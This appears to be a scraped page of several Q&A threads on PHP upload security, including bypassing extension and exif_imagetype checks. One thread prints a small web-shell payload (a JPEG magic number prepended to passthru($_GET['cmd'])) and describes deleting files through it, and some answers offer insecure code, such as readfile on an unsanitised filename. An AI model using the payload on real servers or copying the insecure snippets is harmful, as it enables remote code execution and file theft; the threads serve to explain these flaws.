PHP Upload File Extension Security - php

im currently using that codes in my software, is it safe to check files extensions or are there any way to bypass it?
$ext = explode('.',$_FILES['file']['name']);
$extension = end($ext);
if($extension == 'jpg' || $extension == 'png' || $extension == 'JPG' || $extension == 'jpeg' || $extension == 'gif' || $extension == 'pjpeg' || $extension == 'x-png'){
$extension = $extension;
}
else {
echo 1;
die();
}
Thank you..

are there any way to bypass it?
One way to bypass it, is to simply rename the file..
After all, you currently just check for file name parts.
To handle image uploads securely, OWASP suggests using a re-write approach.
In PHP you could do so by loading the image with gd or imagick and saving a new image based on the input. It may sound like a relatively useless step, but it's a pretty safe way to be sure you're actually dealing with an image.
Edit: See also this answer.

I personally would not recommend just checking file extensions alone. Couple points you need to consider based on your current approach:
Imagine, if I upload a file called mypicture.jpg.php would your current if statement logic catch that out? Might be worth a test?
Following (1) if answer was no, then next question would be does your application check if any php code is contained inside the jpg image which could lead to various privilege escalations on the webserver?
Thus, following the previous answer from Stratadox I would also read this OWASP Unrestricted File Upload page. The OWASP link kindly provided by Stratadox focuses more on prevention techniques and the link I provided is more the attacking side. I think combined together this should help.
In summary, you could keep the current file extension checks but maybe expand few more advanced checks inside the if statement. Good suggestion already mentioned above is native PHP image checking functions/libraries e.g. gd or imagick.
NOTE - always research any native PHP image checking functions/libraries for security flaws (Google will help) and ensure you are configuring functions/settings correctly. This is a good practice to get into to make you a more security minded developer (and make some big $) :)
Hope this helps.

The best way is that:
<?php //A function to return the extension if you'll want use IT
function EXTENSION($sr){
$path_parts = pathinfo($sr);
$exte='.'.$path_parts['extension'];
return $exte;
;}
;?>
<?php
//OR Other way
// then test if is a Pic
list($width, $height, $type, $attr) = getimagesize($_FILES["file"]['tmp_name']);
if(preg_match("#.jpg|.jpeg|.png|.gif#i", $_FILES['file']['name']) AND $width > 2 ){
//Do what you want
;}else{
echo 1;
die();
;}
;?>
it very safe like this Bro.

Related

How to view images from protected folder with php?

I have a password protected directory (with .htaccess) on my website containing *.jpg files. I dont want that anyone can directly access these .jpgs - but I want to allow a php script to display the *.jpg files. Is something like that possible?
For those who wonder why I want this:
I have a register form where a user can upload a picture and before finishing the registration he can check if the correct picture was uploaded. For the moment, I save the uploaded picture in a temporary directory and if he finishes it, I move the picture to the password protected directory. However, I dont like that in each registration there is a short time of period where the picture is public (e.g. through a search engine). Even worse, when someone does upload a picture but not complete the registration, then the picture will remain forever in the temp directory, unless I delete somehow. But if I set up a cron-job to delete all images in the temporary directory during a specific time, then it would be possible that someones picture will be deleteted if he registers at a unfavourable moment.
h2ooooooo already answered my question in the comments section.
This is the code how it works, in my code I have to replace
<img src='link/to/protectet/picture.jpg'>
with
<img src='image.php'>
and the image.php consist only of
<?
header('Content-Type: image/jpeg');
readfile('link/to/protectet/picture.jpg');
?>
that worked. Thanks.
I am not sure, whether this is what you want to achieve, but I understand that:
There is a group of picture files that are stored in .htaccess password protected folder and only registered and authenticated users can download files directly in that folder.
For a newly registering user there is a timespan, when a session, that uploaded the image is allowed to download the image, but no other session, whether authenticated or not, is allowed to do so.
In order to do so you could probably:
As you need to distinguish temporary images from valid images: storing the former in /temp folder is actually a good idea, as temporary files will never mix up with valid files.
For every session that is trying to register, you could probably name your uploaded image file using session_id() (i.e. $name = session_id() . '.jpg'). Then a simple script (similar to: php, file download) could provide stored image related to current session. This script can be source address for an <img> tag on registration form.
As for abandoned images in /temp - a cron job could get rid of them indeed. By calling mtime() for each file - you can easily omit files that were created too recently - and so they are probably still in use.
The accepted answer by h2ooooooo is great. But, what prevents someone from typing in the url address for image.php and being served the image? (In fact, this is what I tried, and I was unfortunately able to fetch the image even though it's in a password-protected folder.)
It seems we need a way of determining that the request is coming from a page on the same website, or maybe establishing a session variable prior to this call, and checking its existence before serving the image. There are good suggestions for that here: How to check if a request if coming from the same server or different server?
I ended up doing the following (<img src="getUploadFile.php?fname=my.jpg">):
<?
function requestedByTheSameDomain() {
$myDomain = $_SERVER['SCRIPT_URI'];
$requestsSource = $_SERVER['HTTP_REFERER'];
return parse_url($myDomain, PHP_URL_HOST) === parse_url($requestsSource, PHP_URL_HOST);
}
if(requestedByTheSameDomain()) {
$inputArr = array();
if($_SERVER["REQUEST_METHOD"] == 'POST') {
$inputArr = $_POST;
}
else {
$inputArr = $_GET;
}
$fname = $inputArr['fname'];
$path_info = pathinfo($fname);
$ext = $path_info['extension'];
if (in_array($ext, array('jpg','png','gif','jpeg','bmp','tif','tiff'))) {
$type = 'image';
$subType = $ext;
if($ext == 'jpg') $subType = 'jpeg';
if($ext == 'tif') $subType = 'tiff';
if($ext == 'svg') $subType = 'svg+xml';
}
else if(in_array($ext, array('mpg','ogg'))) {
$type = 'audio';
$subType = $ext;
}
else if($ext == 'mp4'){
$type = 'video';
$subType = $ext;
}
else if($ext == 'pdf') {
$type = 'application';
$subType = $ext;
}
header("Content-Type: $type/$subType");
readfile("images/$fname");
}
?>
All that remains is to disable right-click and/or serve it a background-image to render Save-Image-As difficult.

How to bypass the exif_imagetype function to upload php code?

I read that exif_imagetype is secure function to avoid uploading php or other shell code instead of image file. Recently i read another article that we can bypass this secure function by some simple methods. So if someone knows the exact method to bypass can u share your answers.
I used following code in my php script so i wanted to know this is vulnerable or not and remedy for the same
if (! exif_imagetype($_FILES['upload']['tmp_name']))
{
echo "File is not an image";
}
Based on Mr. #jake_the_snake's answer, I would also include a quick code sample in Python
>>> fh = open('shell.php', 'w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()
It's a bit more complicated that just running exif_imagetype. That function simply checks the magic number at the beginning of the file, so more checks are needed. Without more knowledge of your software, it's hard to make a judgement, but consider this example:
I construct "shell.php" with the JPEG magic number 0xFFD8FFE0 followed by the string <? passthru($_GET["cmd"]); ?>.
I upload it to your server. The magic number bypasses exif_imagetype. The file is uploaded to www.your-domain.com/uploads/shell.php. I then navigate to www.your-domain.com/uploads/shell.php?rm -r *. The server finds the starting <? and starts interpreting PHP. Yay! I've deleted all your uploads assuming you're running on a Linux webserver.
Even doing a deeper check on the validity of the image won't help, because I could include my malicious script in the metadata of the image. This is only prevented by using a whitelist of file extensions.
[TL;DR] It's not secure without more checking. You need to ensure an appropriate file name, use a whitelist of file extensions, limit file size, and perform standard security measures.
#solidak 's answer works for python2 since it is deprecated now, here is a Python3 rewrite:
>>> fh = open('shell.php', 'wb')
>>> fh.write(b'\xFF\xD8\xFF\xE0' + b'<? passthru($_GET["cmd"]); ?>')
>>> fh.close()
For security i use
$extension = pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION);
if(!in_array(strtolower($extension), array('jpg', 'jpeg', 'png', 'gif')))
{
echo "File is not an image";
}

ZipArchive class PHP security issue

I have the following PHP code
// Check if the upload is setted
if
(
isset($_FILES['file']['name']) && !empty($_FILES['file']['name']) &&
isset($_FILES['file']['type']) && !empty($_FILES['file']['type']) &&
isset($_FILES['file']['size']) && !empty($_FILES['file']['size'])
)
{
$UploadIsSetted = true;
$UploadIsBad = false;
$UploadExtension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
// Check if the upload is good
require "../xdata/php/website_config/website.php";
$RandomFoo = rand(1000999999,9999999999);
if (($_FILES["file"]["size"] < ($MaxAvatarPictureSize*1000000)))
{
if ($_FILES["file"]["error"] > 0)
{
$UploadIsBad = true;
$hrefs->item(0)->setAttribute("Error","true");
$hrefs->item(0)->setAttribute("SomethingWrong","true");
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],"../upload/tmp/".$RandomFoo.".file");
}
}
else
{
// The file is too big
$UploadIsBad = true;
$hrefs->item(0)->setAttribute("Error","true");
$hrefs->item(0)->setAttribute("UploadTooBig","true");
}
}
else
{
$UploadIsSetted = false;
}
$ZipFile = new ZipArchive;
$ZipFile->open('../upload/tmp/'.$LastFilename.'.zip',ZIPARCHIVE::CREATE);
$ZipFile->addFile('../upload/tmp/'.$RandomFoo.'.file',$RandomFoo.".".$UploadExtension);
$ZipFile->close();
now my big concern is that user can upload anything so how can i prevent :
uploading 2GB 3GB files
floading
uploading some kind of twisted exploit that would eventually alter my server security
buffer overflow
filenames that have arbitrary code injections
i mean, how secure is this script?
i'm running windows for now, i will switch to linux
Four your other questions:
floading
That's the complex part. Let me google you some ideas:
Prevent PHP script from being flooded
Quick and easy flood protection? - use a nonce, time+tie it onto a session
Use a captcha, if it doesn't impair usability too much.
uploading some kind of twisted exploit that would eventually alter my server
security
Use a commandline virus scanner (f-prot or clamav) to scan uploaded files. You might use a naive regex scanner in PHP itself (probe for HTMLish content in image files, e.g.), but that's not a factual security feature; don't reinvent the wheel.
buffer overflow
PHP in general is not susceptible to buffer overflows.
Okay, joking. But you can't do anything in userland about it. But pushing strings around isn't much of a problem. That's pretty reliable and unexploitable in scripting languages, as long as you know how to escape what in which context.
filenames that have arbitrary code injections
At the very leat you should most always use basename() to avoid path traversal exploits. If you want to keep user-specified filenames, a regex whitelist is in order. =preg_replace('/[^\w\s.]/', '', $fn) as crude example.
Your line if (($_FILES["file"]["size"] < ($MaxAvatarPictureSize*1000000))) already limits the size of file acceptable to $MaxAvatarPictureSize megabytes. Though $MaxAvatarPictureSize doesn't appear to be set in the code you provided. My guess that should be 1 or 2 max.
Also not set is $LastFilename and probably some others too.
Also place an if($UploadIsBad === false) { /* do zipping */ } around the Zipping part to avoid zipping up files which are too large or otherwise invalid.

How to generate unique filenames for uploaded pictures

I store uploaded pictures in a folder while I store the path and filename in a database. Please how best can I generate unique filenames to avoid name conflict in the folder? Thanks
You've tagged your question with PHP and MySQL.
You could use PHP's uniqid function to generate a unique string
You could use a MySQL table to store information about the images, and use an AUTO_INCREMENT key in that table to give you a unique integer which you could use as the file name
Do you have any more specific requirements/goals? If not, I imagine either of those solutions should work for you.
Probably the closest unique value you have is the database file ID. But if you save your files in different tables this will no longer be the case (ex: ArticleFiles and NewsFiles tables). In this case you can use separate directories for separate tables, or prefixing your files.
You may also be required to upload files to the same server location from different host names. In this case you can prefix the file name with the host name used for upload.
People tend o use the time() function, but that's mostly informative, as it doesn't protect you against concurrent uploads. It does help you in finding the files on the disk easier, by ordering. For the same reason you may include the original extension in the file name.
In the end, use the shortest and most informative unique value or composed value you can get, like
$file = "{$HOST}.{$TYPE}.{$TIMESTAMP}.{$DATAID}.{$EXT}.uploaded";
However, be very careful with access rights on your uploads folder, as it's a serious security risk. Do not allow execution rights, try placing it outside of the document root, check uploads for possible dangerous files, etc.
You can use
$image_name=('Your folder path/'. time () .'.'$extension);
for get any image extension
$extension = getExtension($filename);
function getExtension($str) {
$i = strrpos($str,".");
if (!$i) { return ""; }
$l = strlen($str) - $i;
$ext = substr($str,$i+1,$l);
return $ext;
}
is little complex but its make your work easy , you can use this extension for validation on your file type
like
if (($extension != "jpg") && ($extension != "jpeg") && ($extension != "png") && ($extension != "gif"))
{
echo '<h1>Unknown extension!</h1>';
$errors=1;
}else
//your code to save image in folder.
Have you considered storing the data in the database ?
If you are able to; you will get rid of the need to have unique file name, and the problems associated with the files & database being out of synch.

How can I improve this PHP code?

I have the php code below which help me get a photo's thumbnail image path in a script
It will take a supplied value like this from a mysql DB '2/34/12/thepicture.jpg'
It will then turn it into this '2/34/12/thepicture_thumb1.jpg'
I am sure there is a better performance way of doing this and I am open to any help please
Also on a page with 50 user's this would run 50 times to get 50 different photos
// the photo has it is pulled from the DB, it has the folders and filename as 1
$photo_url = '2/34/12/thepicture_thumb1.jpg';
//build the full photo filepath
$file = $site_path. 'images/userphoto/' . $photo_url;
// make sure file name is not empty and the file exist
if ($photo_url != '' && file_exists($file)) {
//get file info
$fil_ext1 = pathinfo($file);
$fil_ext = $fil_ext1['extension'];
$fil_explode = '.' . $fil_ext;
$arr = explode($fil_explode, $photo_url);
// add "_thumb" or else "_thumb1" inbetween
// the file name and the file extension 2/45/12/photo.jpg becomes 2/45/12/photo_thumb1.jpg
$pic1 = $arr[0] . "_thumb" . $fil_explode;
//make sure the thumbnail image exist
if (file_exists("images/userphoto/" . $pic1)) {
//retunr the thumbnail image url
$img_name = $pic1;
}
}
1 thing I am curious about is how it uses pathinfo() to get the files extension, since the extension will always be 3 digits, would other methods of getting this value better performance?
Is there a performance problem with this code, or are you just optimizing prematurely? Unless the performance is bad enough to be a usability issue and the profiler tells you that this code is to blame, there are much more pressing issues with this code.
To answer the question: "How can I improve this PHP code?" Add whitespace.
Performance-wise, if you're calling built-in PHP functions the performance is excellent because you're running compiled code behind the scenes.
Of course, calling all these functions when you don't need to isn't a good idea. In your case, the pathinfo function returns the various paths you need. You call the explode function on the original name when you can build the file name like this (note, the 'filename' is only available since PHP 5.2):
$fInfo = pathinfo($file);
$thumb_name = $fInfo['dirname'] . '/' . $fInfo['filename'] . '_thumb' . $fInfo['extension'];
If you don't have PHP 5.2, then the simplest way is to ignore that function and use strrpos and substr:
// gets the position of the last dot
$lastDot = strrpos($file, '.');
// first bit gets everything before the dot,
// second gets everything from the dot onwards
$thumbName = substr($file, 0, $lastDot) . '_thumb1' . substr($file, $lastDot);
The best optimization for this code is to increase it's readability:
// make sure file name is not empty and the file exist
if ( $photo_url != '' && file_exists($file) ) {
// Get information about the file path
$path_info = pathinfo($file);
// determine the thumbnail name
// add "_thumb" or else "_thumb1" inbetween
// the file name and the file extension 2/45/12/photo.jpg
// becomes 2/45/12/photo_thumb.jpg
$pic1 = "{$path_info['dirname']}/{$path_info['basename']}_thumb.{$fil_ext}";
// if this calculated thumbnail file exists, use it in place of
// the image name
if ( file_exists( "images/userphoto/" . $pic1 ) ) {
$img_name = $pic1;
}
}
I have broken up the components of the function using line breaks, and used the information returned from pathinfo() to simplify the process of determining the thumbnail name.
Updated to incorporate feedback from #DisgruntledGoat
Why are you even concerned about the performance of this function? Assuming you call it only once (say, when the "main" filename is generated) and store the result, its runtime should be essentially zero compared to DB and filesystem access. If you're calling it on every access to re-compute the thumbnail path, well, that's wasteful but it's still not going to be significantly impacting your runtime.
Now, if you want it to look nicer and be more maintainable, that's a worthwhile goal.
The easiest way to fix this is to thumbnail all user profile pics before hand and keep it around so you don't keep resizing.
$img_name = preg_replace('/^(.*)(\..*?)$/', '\1_thumb\2', $file);
Edit: bbcode disappeared with \.

Categories